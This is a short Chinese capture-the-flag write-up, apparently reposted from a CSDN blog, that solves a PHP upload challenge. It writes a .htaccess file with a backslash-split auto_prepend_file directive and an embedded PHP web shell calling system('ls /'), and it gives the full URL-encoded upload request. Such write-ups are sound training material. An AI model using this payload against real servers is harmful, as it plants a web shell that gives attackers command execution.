打开题目,源代码
简单分析一下,先scandir函数
来获取指定目录 ./
下的所有文件和文件夹的列表,然后如果不为index.php,则unlink函数
删除文件。接着就是对上传文件写入内容的黑名单过滤,然后对文件名正则匹配无字母。最后file_put_contents读取文件
既然文件名无字母,我们可以用.htaccess配置文件攻击
思路:向.htaccess文件写入shell,并且用auto_prepend_file包含.htaccess,但是file关键字被ban了,可以用换行绕过,结尾要用\处理content中的\n。
payload
php_value auto_prepend_fil\e .htaccess #\
注:以注释的方法来写shell
由于这里有换行,我们丢到cyberchef里url编码
成功上传
?filename=.htaccess&content=php_value%20auto_prepend_fil%5Ce%20.htaccess%20%0A#%3C?php%20system('ls%20/');?%3E%5C%20
修改命令,要绕过一下
php_value auto_prepend_fil\e .htaccess #\
编码一下上传,得到flag
来源地址:https://blog.csdn.net/m0_73512445/article/details/132619435